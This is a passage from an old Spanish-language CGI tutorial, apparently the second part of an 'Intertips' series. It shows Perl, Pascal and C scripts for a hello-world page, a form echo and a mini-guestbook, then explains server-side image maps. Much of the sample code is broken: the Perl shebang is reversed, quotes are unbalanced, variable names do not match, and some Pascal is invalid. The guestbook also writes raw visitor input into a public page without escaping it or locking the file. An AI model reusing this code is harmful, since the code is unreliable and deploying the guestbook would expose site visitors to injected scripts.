Creo que con eso bastar  para dar una idea general , (que por otra parte es lo
que pretendo), y las adaptaciones necesarias para cualquier otro lenguaje
con un poco de ingenio se podr n hacer sin problemas.


Qu‚ son los scripts CGI?

Normalmente cuando un browser de Web (como por ejemplo el Netscape) llama a
una URL en particular, sucede lo siguiente. Primero la computadora contacta el
HTTP server con dicha URL (HTTP es el protocolo que se utiliza en las comunica
ciones en la Web entre el server y el browser). El server HTTP revisa si el
archivo requerido por nuestra computadora se encuentra en su sistema, en caso
afirmativo env¡a el archivo como respuesta. Nuestra computadora entonces,
muestra el archivo en el formato apropiado.

Adem s de todo esto, los servers de Web estan configurados de tal manera que
cada vez que se requiere un archivo de un directorio determinado (usualmente
el "cgi-bin"), dicho archivo no es enviado ; sino que es ejecutado como un
programa y la salida de este programa es enviada a nuestra m quina para que
‚sta la muestre. Esta funci¢n es conocida como "Common Gateway Interface" y
los programas a los que nos referimos son llamados scripts CGI.

Como dijimos,el directorio en el cual usualmente se encuentran los scripts CGI
es el cgi-bin, de manera que los scripts que armemos deber n ser situados en
el mismo.
Si no tenemos control de la administraci¢n del server, debemos solicitar
que se les d‚ permiso de ejecuci¢n a todos los archivos que pongamos en este
directorio (cgi-bin).

En esta segunda parte veremos scripts que funcionan en base a los datos y
variables que les son enviados a trav‚s de un FORM en una p gina HTML, y
dejaremos para la tercera de aquellos que no necesitan de esta input, por
ejemplo los counters, las animaciones y otras cosas un poco m s complicadas.


Nuestro Primer Script.

Para empezar por lo m s simple y poder apreciar la funcionalidad de este
sistema veremos un script muy f cil de entender, el cual no necesita que les
sean suministrados datos de ning£n tipo para funcionar.
Pero sigamos con lo nuestro;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ PERL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³!#/usr/bin/perl <ÄÄÄ Esta l¡nea llama al int‚rpre³
³ te de Perl. ³
³ ³
³print "Content-type: text/html\n\n"; ³
³print "<HTML>\n"; ³
³print "<HEAD>\n"; ³
³print "<TITLE>Aprendiendo CGI</TITLE>\n"; ³
³print "</HEAD>\n"; ³
³print "<BODY>\n"; ³
³print "Hola Intertips!\n"; ³
³print "</BODY></HTML>\n"; ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ PASCAL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³begin ³
³writeln "Content-type: text/html"; ³
³writeln; ³
³writeln "<HTML>"; ³
³writeln "<HEAD>"; ³
³writeln "<TITLE>Aprendiendo CGI</TITLE>"; ³
³writeln "</HEAD>"; ³
³writeln "<BODY>"; ³
³writeln "Hola Intertips!"; ³
³writeln "</BODY></HTML>"; ³
³end. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ C ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³#include <stdio.h> ³
³ ³
³main() ³
³{ ³
³printf ("Content-type: text/html\n\n"); ³
³printf ("<HTML>\n"); ³
³printf ("<HEAD>\n"); ³
³printf ("<TITLE>Aprendiendo CGI</TITLE>\n"); ³
³printf ("</HEAD>\n"); ³
³printf ("<BODY>\n"); ³
³printf ("Hola Intertips\n"); ³
³printf ("</BODY></HTML>\n"); ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Es as¡ de f cil!! Y lo mejor de todo es que funciona!

Observen que lo primero que retornamos es un header indicando de que tipo es
la informaci¢n que enviamos, en este caso se trata de una p gina HTML, por
lo tanto el header apropiado es:
Content-type: text/html

Tomemos en cuenta tambi‚n que los primeros dos saltos de l¡nea que introduci
mos son significativos. Los c¢digo de retorno MIME, a los cuales pertenece
"Content-type..", necesitan dos "newlines" sigui‚ndolos para delimitar su fin.
No enviar este segundo newline nos traer  bastantes problemas.
Los dem s "newline" inclu¡dos en la p gina que generamos no son realmente
necesarios, pero facilitar n la lectura de alguien que haga un "View Source".

Como vemos en los ejemplos tuvimos que generar todos los tags de la p gina,
pero eso result¢ muy simple, no es as¡?
Ahora vamos a hacer algo un poco m s interesante, vamos a solicitar algunos
datos con un FORM apropiado, y vamos a retornar una p gina que contenga los
nombres de las variables utilizadas junto con el contenido de cada una ingresa
do por el usuario.


Un script que hace Eco de un Form.

En este punto comenzaremos a hacer uso de librer¡as especializadas (los sites
donde conseguir cada una de las librer¡as figuran al final de este texto).
Quisiera recalcar que estas librer¡as no son £nicas, existen muchas variaciones
sobre el mismo tema, y cada una de ellas tiene su propia forma de manejarse,
por lo tanto es conveniente revisar cuidadosamente la documentaci¢n que las
acompa¤a en caso de que se utilize alguna otra que no figure aqu¡.

Estas librer¡as nos ahorrar n el trabajo de separar los distintos componentes
que son encapsulados en la variable de entorno QUERY_STRING (recuerdan lo que
mencionamos en la primera parte?).
En el caso que estudiaremos, la llamada la hacemos al script en Perl, pero
obviamente cambiando el nombre del ejecutable de acuerdo al lenguaje que
estemos utilizando esto se soluciona.

Veamos el form que vamos a utilizar:

<HTML>
<HEAD>
<TITLE>Prueba con un FORM</TITLE>
</HEAD>
<BODY>
<H1>Ingresa los datos que corresponden para hacer la prueba;</H1>
<BR><HR>
<FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/prueba.pl">
<UL>
<LI>Nombre: <INPUT TYPE="text" NAME=nombre SIZE=20>
<LI>Edad: <INPUT TYPE="text" NAME=edad SIZE=2>
<LI>Hincha de:
<SELECT NAME="equipo">
<OPTION SELECTED> Boca Juniors
<OPTION> River Plate
<OPTION> San Lorenzo
<OPTION> Independiente
<OPTION> Racing Club.
<SELECT>
<LI>Email: <INPUT TYPE="text" NAME=email SIZE=20>
</UL>
<INPUT TYPE="submit" VALUE="Ok"><BR>
<INPUT TYPE="reset" VALUE="Borrar"><BR>
</FORM>
<HR>
</BODY>
</HTML>


El script que utilizaremos ser  muy simple y nos va a servir de base para
futuros desarrollos. Veamos paso a paso su estructura;
1. Primero llama al int‚rprete en caso de ser necesario (Perl).
2. Luego de inclu¡r/cargar la librer¡a, de alguna manera corre la
funci¢n que separa QUERY_STRING en sus componentes individuales.
3. Asignamos dichos componentes a las variables que vamos a utilizar.
4. Imprimimos una salida, como en cualquier programa y..
5. Listo!

Aqu¡ van los fuentes en cada uno de los lenguajes.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ PERL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³!#/usr/bin/perl <ÄÄÄ Esta l¡nea llama al int‚rpre³
³ te de Perl. ³
³ ³
³push(@INC,"/var/opt/ncsa/httpd/cgi-bin"); ³
³require("cgi-lib.pl"); <ÄÄÄ Inclu¡mos la librer¡a. ³
³ ³
³&ReadParse; <ÄÄÄ Separamos las variables. ³
³ ³
³$nombre = $in{'nombre'}; <ÄÄÄ Asignamos los valores que ³
³$edad = $in{'edad'}; nos enviaron a las variables³
³$equipo = $in{'equipo'}; para utilizarlos. ³
³$email = $in{'email'}; ³
³ ³
³print &PrintHeader; <ÄÄÄ Imprimimos el Header. ³
³print "<HTML>\n"; ³
³print "<HEAD>\n"; ³
³print "<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n"; ³
³print "</HEAD>\n"; ³
³print "<BODY>\n"; ³
³print "<HR>\n"; ³
³print "Tu nombre es ",$nombre,"<BR>\n"; ³
³print "Ten‚s ",$edad," a¤os y sos simpatizante de ",$equipo,"<BR>\n"; ³
³print "Si alguien quisiera escribirte tu email es: ",$email,"<BR>\n"); ³
³print "<HR>\n"; ³
³print "</BODY></HTML>\n"; ³
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ PASCAL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Uses TPWCGI; <ÄÄÄ Inclu¡mos la librer¡a. ³
³ ³
³Var nombre, edad, <ÄÄÄ Definimos las variables ³
³ equipo, email :string; que vamos a usar. ³
³ ³
³Begin ³
³StartCGI; ³
³ ³
³nombre := Getvalue ('nombre',1); <ÄÄÄ Asignamos los valores que ³
³edad := Getvalue ('edad',1); nos enviaron a las variables³
³equipo := Getvalue ('equipo',1); para utilizarlos. ³
³email := Getvalue ('email',1); ³
³ ³
³MakeHeader; <ÄÄÄ Imprimimos el Header. ³
³Send ('<HTML>'); ³
³Send ('<HEAD>'); ³
³Send ('<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>'); ³
³Send ('</HEAD>'); ³
³Send ('<BODY>'); ³
³Send ('<HR>'); ³
³Send ('Tu nombre es '+nombre+'<BR>'); ³
³Send ('Ten‚s '+edad+'a¤os y sos simpatizante de '+equipo+'<BR>'); ³
³Send ('Si alguien quisiera escribirte tu email es: '+email+'<BR>'); ³
³Send ('<HR>'); ³
³Send ('</BODY></HTML>'); ³
³ ³
³EndCGI; ³
³end. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ C ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³#include <stdio.h> ³
³#include <errno.h> ³
³#include <uncgi.h> <ÄÄÄ Inclu¡mos la librer¡a. ³
³char *getenv(); ³
³ ³
³main() ³
³{ ³
³ char *nombre; <ÄÄÄ Definimos las variables ³
³ char *edad; que vamos a usar. ³
³ char *equipo; ³
³ char *email; ³
³ ³
³uncgi(); <ÄÄÄ Separamos las variables. ³
³ ³
³nombre = getenv("WWW_nombre"); <ÄÄÄ Asignamos los valores que ³
³edad = getenv("WWW_edad"); nos enviaron a las variables³
³equipo = getenv("WWW_equipo"); para utilizarlos. ³
³email = getenv("WWW_email"); ³
³ ³
³printf ("Content-type: text/html\n\n"); <ÄÄÄ Imprimimos el Header. ³
³printf ("<HTML>\n"); ³
³printf ("<HEAD>\n"); ³
³printf ("<TITLE>Aprendiendo CGI-Segundo Ejercicio</TITLE>\n"); ³
³printf ("</HEAD>\n"); ³
³printf ("<BODY>\n"); ³
³printf ("<HR>\n"); ³
³printf ("Tu nombre es %s <BR>\n",nombre); ³
³printf ("Ten‚s %s a¤os y sos simpatizante de %s <BR>\n",edad,equipo); ³
³printf ("Si alguien quisiera escribirte tu email es: %s <BR>\n",email); ³
³printf ("<HR>\n"); ³
³printf ("</BODY></HTML>\n"); ³
³} ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


Es evidente que a partir de este punto podr¡amos abordar cosas m s complicadas
si quisieramos, ya que es posible utilizar todos los recursos de cada lenguaje
para efectuar las acciones y procesos que queramos.
Como sugerencia, la estructura que propongo para un script m s o menos decente
es la siguiente ( de todas maneras igual que en matem ticas de primer grado,
"el orden de los factores no altera el producto", aunque s¡ lo hace m s d¡ficil
de mantener :)!

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Asignaci¢n de variables. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Proceso principal del script ³
³ que generar  la salida que ³
³ deseamos a partir de los ³
³ datos de entrada. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Env¡o de la p gina con los ³
³ resultados del proceso. ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Lo mejor es comenzar a practicar con las estructuras m s comunes, decisi¢n(IF)
e iteraci¢n (FOR), haciendo peque¤os programas y probando las salidas obtenidas.
Por ejemplo, un script que dependiendo del contenido de la variable "nombre"
retorne una p gina con distintos mensajes seg£n sea quien ha completado el
form.
Los scripts pueden hacer cosas m s complicadas, como verificar que los campos
sean llenados correctamente, modificar archivos y hasta retornar una p gina
que no haya sido elaborada por ellos. En el siguiente y £ltimo punto veremos
como implementar estos m‚todos en la forma de un 'mini-guestbook'.


Un Mini-GuestBook

Vamos a armar una especie de Mini-Libro de Firmas, una aplicaci¢n bastante
difundida, que nos servir  de ejemplo para mostrar los puntos que mencion‚
m s arriba.
Esto comienza con un form muy chiquito que solicita los siguientes datos;

* Nombre
* Email
* Comentarios

A partir de all¡, lo que el usuario ingrese ser  grabado en otra p gina, la
p gina del guestbook m s precisamente, y luego finalmente se presentar  una
pantalla agradeciendo el comentario e invitando a mirar el Libro.

Para poder conseguir lo que queremos, utilizaremos un m‚todo muy com£n,
estableceremos una marca invisible (un comentario) en la p gina en cuesti¢n
y tomaremos dicha marca como punto de partida para cada nuevo comentario.
Los pasos a seguir en este caso son los siguientes:

1. Verificar la entrada del usuario, para que no existan campos vac¡os,
retornando un mensaje de error si existe algun problema.
2. Abrir y leer la p gina del mini-guestbook l¡nea por l¡nea (grabando
cada una de ellas en un archivo temporario) hasta encontrar la
marca que indica el comienzo de los comentarios (o sea el £ltimo
ingresado), grabar despu‚s de la misma el input del usuario y
terminar de copiar el resto del archivo.
3. Cerrar los archivos, borrar el original y renombrar el temporario.
4. Devolver un c¢digo de retorno "Location.." que llevar  al usuario
a una p gina de agradecimiento que tendr  un link al guestbook.

Muchos se preguntar n, Y que pasa si dos usuarios acceden al mismo tiempo al
archivo? C¢mo hacen para leerlo/grabarlo? Qui‚n tiene prioridad?
Creo que ser¡a intentar avanzar demasiado en este momento, a manera de comen-
tario (de todas maneras les contar‚ como hacerlo en la tercera parte) lo que
se necesita es una manera de trabar el acceso al archivo mientras se est‚
trabajando con ‚l.

Como siempre, veremos el form que permite al usuario agregar su nombre y su
comentario a nuestro Libro de Firmas.


<HTML>
<HEAD>
<TITLE>Firme nuestro Libro</TITLE>
</HEAD>
<BODY>
<H1>Ingrese sus datos y el comentario que desee hacernos:</H1>
<BR><HR>
<FORM METHOD="POST" ACTION="http://mimaquina.midominio/cgi-bin/ingreso.pl">
Nombre:<BR><INPUT TYPE="text" NAME=nombre SIZE=20><BR>
Email: <BR><INPUT TYPE="text" NAME=email SIZE=20><BR>
Su comentario: <BR> <TEXTAREA NAME="comentario" ROWS=5 COLS=40> Escriba aqui
su comentario.</TEXTAREA> <BR>
<INPUT TYPE="submit" VALUE="Ok"><BR>
<INPUT TYPE="reset" VALUE="Borrar"><BR>
</FORM>
<HR>
</BODY>
</HTML>


ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ PERL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³!#/usr/bin/perl <ÄÄÄ Esta l¡nea llama al int‚rpre³
³ te de Perl. ³
³ ³
³push(@INC,"/var/opt/ncsa/httpd/cgi-bin"); ³
³require("cgi-lib.pl"); <ÄÄÄ Inclu¡mos la librer¡a. ³
³ ³
³&ReadParse; <ÄÄÄ Separamos las variables. ³
³ ³
³$nombre = $in{'nombre'}; <ÄÄÄ Asignamos los valores que ³
³$email = $in{'email'}; nos enviaron a las variables³
³$comentario = $in{'comentario'}; para utilizarlos. ³
³ ³
³ ³
³if (($nombre eq "") || ($email eq "") <ÄÄÄ Si alguno de los campos est ³
³ || ($comentario eq "")) vac¡o, retornaremos la ³
³ { siguiente p gina con este ³
³print &PrintHeader; mensaje de error. ³
³print "<HTML>\n"; ³
³print "<HEAD>\n"; ³
³print "<TITLE> Error en el Ingreso</TITLE>\n"; ³
³print "</HEAD>\n"; ³
³print "<BODY>\n"; ³
³print "<HR>\n"; ³
³print "<H1>Alguno de los campos que ingres¢ no conten¡a datos </H1>"; ³
³print "Por favor apriete este boton para ingresar sus datos nuevamente"; ³
³print "<AHREF="/images/boton.gif"> ³
³print "
<HR>\n"; ³
³print "
</BODY></HTML>\n"; ³
³exit; <ÄÄÄ Esto hace una llamada para ³
³} finalizar el script luego ³
³ del mensaje de error. ³
³ ³
³open(GB,"
</htdocs/mini-gb.html"); <ÄÄÄ Abrimos y leemos el ³
³@lineas = <GB>; original guardando su conte-³
³close GB; nido en el array "
lineas". ³
³ ³
³$comentario =~ s/\n/<BR>\n/go; <ÄÄÄ Agregamos los "
breaks" ³
³ en cada newline del ³
³ contenido de la TEXTAREA. ³
³ ³
³ ³
³ open(GB,"
>/htdocs/mini-gb.htm"); ³
³ foreach $linea (@lineas) { ³
³ $linea =~ s/<!--ULTIMO COMENTARIO-->/<!--ULTIMO COMENTARIO-->\nNombre: ³
³ $nombre<BR>\n Email: <A HREF=\"
mailto:$email\">$email<\A><BR>\n ³
³ Comentarios:<BR>\n$comentario<HR>\n/o; ³
³ ³ ³
³ print GB $line; ÀÄ>Aqu¡ grabamos cada l¡nea,reemplazando ³
³ } con el input del usuario en el lugar ³
³ close GB; donde encontremos la marca. ³
³ ³
³ ³
³print "
Location: http://mimaquina.midominio/httdocs/gracias.htm\n\n"; ³
³ ³ ³
³ ÀÄ>Vamos a la p gina de agradecimiento. ³
³ ³
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³

  
PASCAL ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Uses TPWCGI; <ÄÄÄ Inclu¡mos la librer¡a. ³
³ ³
³Var nombre, edad, linea <ÄÄÄ Definimos las variables ³
³ equipo, email :string; que vamos a usar. ³
³ Arch-In, Arch-Out :text; ³
³ ³
³assign (Arch-In,'D:\WEBSITE\HTDOCS\MINI-GB.HTM'); ³
³assign (Arch-Out,'D:\WEBSITE\HTDOCS\MINI-GB.TMP'); ³
³ ³
³reset (Arch-in); ³
³rewrite (Arch-Out); ³
³linea := ''; ³
³ ³
³Begin ³
³StartCGI; ³
³ ³
³nombre := Getvalue ('nombre',1); <ÄÄÄ Asignamos los valores que ³
³email := Getvalue ('email',1); nos enviaron a las variables³
³comentario := Getvalue ('comentario',1); para utilizarlos. ³
³ ³
³ ³
³if (( nombre = '') or (email = '') <ÄÄÄ Si alguno de los campos est ³
³ or (comentario = '') ) vac¡o, retornaremos la ³
³then begin siguiente p gina con este ³
³ MakeHeader; mensaje de error. ³
³ Send ('<HTML>'); ³
³ Send ('<HEAD>'); ³
³ Send ('<TITLE> Error en el Ingreso</TITLE>'); ³
³ Send ('</HEAD>'); ³
³ Send ('<BODY>'); ³
³ Send ('<HR>'); ³
³ Send ('<H1>Alguno de los campos que ingres¢ no conten¡a datos </H1>'); ³
³ Send ('Por favor apriete este boton e ingrese sus datos nuevamente'); ³
³ Send ('<A HREF="/images/boton.gif"> ³
³ Send ('<HR>\n'); ³
³ Send ('</BODY></HTML>'); ³
³ EndCGI; ³
³ end; ³
³ ³
³else begin ³
³ ³
³ Readln (Arch-In, linea); ³
³ while and NOT EOF (Arch-In) do ³
³ begin ³
³ Writeln (Arch-Out, linea); Ú>Aqu¡ grabamos cada l¡nea,reemplazando³
³ Readln (Arch-In, linea); ³ con el input del usuario en el lugar ³
³ ³ donde encontremos la marca. ³
³ ³ ³
³ If (linea = '<!--ULTIMO COMENTARIO-->') ³
³ then begin ³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Nombre: '+nombre+'<BR>'; ³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Email:<A HREF="mailto:'+email+'">+email+'</A><BR>';³
³ Writeln (Arch-Out, linea); ³
³ linea := 'Comentario: <BR>'; ³
³ Writeln (Arch-Out, linea); ³
³ for i := 1 to GetLinNum ('comentario') do ³
³ begin ³
³ linea := GetValue ('comentario',1)+'<BR>'; ³
³ Writeln (Arch-Out, linea); ³
³ end; ³ ³
³ end; ÀÄÄÄÄ> Agregamos los "breaks" ³
³ end; en cada newline del ³
³ contenido de la TEXTAREA. ³
³Close (FI); ³
³Close (FO); ³
³ ³
³erase (FI); ³
³rename (FO,'D:\WEBSITE\HTDOCS\DOCUMEN\MINI-GB.HTM'); ³
³ ³
³Send ('Location: http://mimaquina.midominio/httdocs/gracias.htm'); ³
³Send (''); ³ ³
³EndCgi ÀÄ>Vamos a la p gina de agradecimiento. ³
³end. ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


Me pareci¢ redundante incluir la versi¢n en C ya que esta puede ser f cilmente
inducida a partir del fuente en Pascal.
Como el TEXTAREA que utilizamos para cargar el comentario entrega sus datos
s¢lo separados por newlines, tuvimos que hacer un peque¤o proceso en cada
uno de los programas para generar un <BR> por cada uno de ellos en la p gina
definitiva.
Notar n que existe diferencias en la forma de hacer el "update" del archivo en
cada una de las versiones. En el fuente Perl aprovech‚ una funci¢n de sustitu
ci¢n bastante potente que simplifica las cosas, en cambio en la versi¢n en
Pascal hubo que hacer dicha sustituci¢n "a mano".
Para finalizar esta segunda parte veremos una especie de lista de cosas a
tomar en cuenta la hora de programar scripts CGI.


Puntos importantes al programar scripts.

Un script CGI debe;

* Ser ejecutable (o en el caso de Perl incluir la llamada al int‚rprete)
* Estar ubicado en el directorio cgi-bin. La ubicaci¢n de este server va a
estar definida por el administrador del server.
* Sea capaz de acceder a los archivos que necesita.
Como el script corre desde el directorio cgi-bin, todas las referencias
relativas que hagamos van a estar referenciadas al mismo. Por las dudas,
cuando tengamos que retornar una p gina HTML completa, usemos su URL
completa (http://....) .
* Tener seteados los permisos correctamente.
Perdonen que siga jodiendo con lo mismo, pero m s de una vez las cosa no me
anduvieron por esta sencilla raz¢n. (Nadie pod¡a ejecutar el programa
excepto yo...)


------------------------------------------------------------------------------

Im genes clikeables.

A pesar que este tipo de elementos no est  conectado directamente con los
scripts CGI pens‚ en incluirlos dado que tambi‚n son una de las formas de
incrementar la interactividad entre el usuario y el web site.
B sicamente una im gen clikeable (es una acepci¢n que invent‚, ya fu‚ la que
me pareci¢ m s correcta en castellano) es una im gen, un gr fico que cuando es
clikeada en alguna de sus partes env¡a las coordenadas X e Y de la posici¢n del
mouse en ese momento y el server a partir de ellas genera un enlace con otras
p ginas.

El uso m s com£n de este tipo de im genes es crear barras de herramientas
personalizadas, o regiones en un gr fico que permitan al usuario navegar hasta
un nuevo documento.

En teor¡a existen tres formas de lograr este tipo de imagenes;
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³Server-Side Image Maps (antigua) ³
³Es la forma m s antigua, utilizaba un FORM para enviar la informaci¢n y ³
³hab¡a que programar un script en el server que procesara dicha informaci¢n. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Server-Side Image Maps (moderna) ³
³Es la forma m s com£n y m s ampliamente utilizada, utiliza el tag ISMAP y la³
³informaci¢n es procesada por el web server. ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³Client-Side Image Maps ³
³Es la forma m s moderna (y menos difundida) s¢lo soportada por los browsers ³
³en sus £ltimas versiones,y la informaci¢n es procesada por el mismo browser.³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Como todos los Web servers de la actualidad soportan la segunda forma,
descartaremos la revisi¢n de la primera y comenzaremos directamente a usar el
tag ISMAP.

Partiendo de una imagen (un .GIF) elegiremos dentro de ella las  reas que
funcionar n como links a otros documentos.
Dichas  reas pueden ser definidas en base a uno o m s de los siguientes
elementos.

RECT (x1,y1) (x2,y2) Determina un  rea rectangular en base a los v‚rtices de
su diagonal principal.
CIRCLE (a,b,r) Determina un c¡rculo de centro (a,b) y de radio r.
POLY (x1,y1) (x2,y2) .... (x1,y1) Determina un pol¡gono cuyos v‚rtices (x,y)
son dispuestos secuencialmente uno detr s de otro.

Almacenaremos estos elementos en un archivo que tendr  m s o menos el
siguiente formato:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ default /default.htm ³
³ RECTANGLE (475,157) (611,344) /principal.htm ³
³ RECTANGLE (233,182) (447,359) /buscar.htm ³
³ CIRCLE (130,54,20) /circulo.htm ³
³ POLY (46,27) (57,33) (58,23) (68,35) (46,27) /carita.htm ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

